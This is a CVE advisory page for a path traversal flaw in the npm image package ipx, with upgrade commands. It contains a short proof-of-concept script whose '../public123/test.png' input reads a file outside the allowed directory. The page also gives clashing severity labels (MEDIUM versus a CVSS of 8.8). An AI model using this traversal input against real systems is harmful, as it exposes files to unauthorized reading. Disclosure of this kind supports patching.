Loading...
Skip to main content

CVE-2025-54387 — Vulnerability in ipx — CVE Details

MEDIUM

IPX Allows Path Traversal via Prefix Matching Bypass

Published August 4, 2025Updated September 10, 2026Source: osv

Summary

### Summary The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. ### PoC - setup ``` mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx ``` - `main.js` ```js import { createIPX, ipxFSStorage } from "ipx"; const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), }); (async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: } } })() ``` - `node main.js` ``` png Forbidden path: /../publi123/test.png ``` ### Impact Path Traversal ### Possible Fix Check if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`

Advisory Timeline

  • First published August 4, 2025 (434 days ago).
  • Last revised September 10, 2026 — 402 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update ipx to 3.1.1 or later
npm install ipx@3.1.1
npm
Update ipx to 1.3.2 or later
npm install ipx@1.3.2
npm
Update ipx to 2.1.1 or later
npm install ipx@2.1.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (3)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
ipx
npm
All versions3.1.1
ipx
npm
All versions1.3.2
ipx
npm
All versions2.1.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N

Frequently Asked Questions

What is CVE-2025-54387?
IPX Allows Path Traversal via Prefix Matching Bypass This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2025-54387?
CVE-2025-54387 affects ipx. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-54387 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-mm3p-j368-7jcr

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies